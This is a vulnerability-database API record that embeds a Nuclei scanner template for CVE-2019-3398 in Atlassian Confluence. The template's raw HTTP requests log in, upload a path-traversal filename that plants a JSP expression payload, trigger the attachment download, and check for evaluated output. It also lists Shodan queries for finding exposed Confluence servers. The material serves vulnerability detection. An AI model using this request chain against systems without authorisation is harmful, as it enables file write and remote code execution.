{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-3398/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-3398/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-3398/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-3398/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-3398/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-3398"},"sightings":{"href":"/api/v1/sightings/cve-2019-3398"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-3398.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2019-3398\n\ninfo:\n  name: Atlassian Confluence Download Attachments - Remote Code Execution\n  author: rootxharsh,iamnoooob,pdresearch\n  severity: high\n  description: |\n    Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has 'Admin' permissions for a space can exploit this path traversal vulnerability to write files to arbitrary locations which can lead to remote code execution on systems that run a vulnerable version of Confluence Server or Data Center.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Apply the latest security patches provided by Atlassian to fix the vulnerability.\n  reference:\n    - https://blogs.juniper.net/en-us/threat-research/cve-2019-3398-atlassian-confluence-download-attachments-remote-code-execution\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-3398\n    - http://packetstormsecurity.com/files/152616/Confluence-Server-Data-Center-Path-Traversal.html\n    - http://packetstormsecurity.com/files/155245/Atlassian-Confluence-6.15.1-Directory-Traversal.html\n    - https://jira.atlassian.com/browse/CONFSERVER-58102\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2019-3398\n    cwe-id: CWE-22\n    epss-score: 0.96837\n    epss-percentile: 0.99886\n    cpe: cpe:2.3:a:atlassian:confluence:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 5\n    vendor: atlassian\n    product: confluence\n    shodan-query:\n      - http.component:\"atlassian confluence\"\n      - cpe:\"cpe:2.3:a:atlassian:confluence\"\n  tags: cve,cve2019,packetstorm,atlassian,confluence,rce,authenticated,intrusive,kev,vkev,vuln\nvariables:\n  num1: \"{{rand_int(800000, 999999)}}\"\n  num2: \"{{rand_int(800000, 999999)}}\"\n  result: \"{{to_number(num1)*to_number(num2)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /dologin.action HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        os_username={{username}}&os_password={{password}}&login=Log%2Bin&os_destination=\n      - |\n        GET /pages/createpage.action HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        POST /plugins/drag-and-drop/upload.action?draftId={{draftID}}&filename=../../../../../../opt/atlassian/confluence/confluence/pages/{{randstr}}.jsp&size=8&mimeType=text%2Fplain&atl_token={{csrftoken}} HTTP/1.1\n        Host: {{Hostname}}\n\n        ${{{num1}}*{{num2}}}\n      - |\n        GET /pages/downloadallattachments.action?pageId={{draftID}} HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET /pages/{{randstr}}.jsp HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_5\n        words:\n          - \"{{result}}\"\n\n    extractors:\n      - type: regex\n        name: csrftoken\n        group: 1\n        regex:\n          - 'name=\"atlassian\\-token\" content=\"([a-z0-9]+)\"> '\n        internal: true\n        part: body\n\n      - type: regex\n        name: draftID\n        group: 1\n        regex:\n          - 'ta name=\"ajs\\-draft\\-id\" content=\"([0-9]+)\">'\n        internal: true\n        part: body\n# digest: 4a0a00473045022009d9492a45ab7421df989cc5b859a39385d5ab88e0491c213c64ef0378b932c2022100b9eb4bd5c67a3c6f38c3a2388daf43add67f0c13a5679cb154751127e3746ca3:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2019-3398"}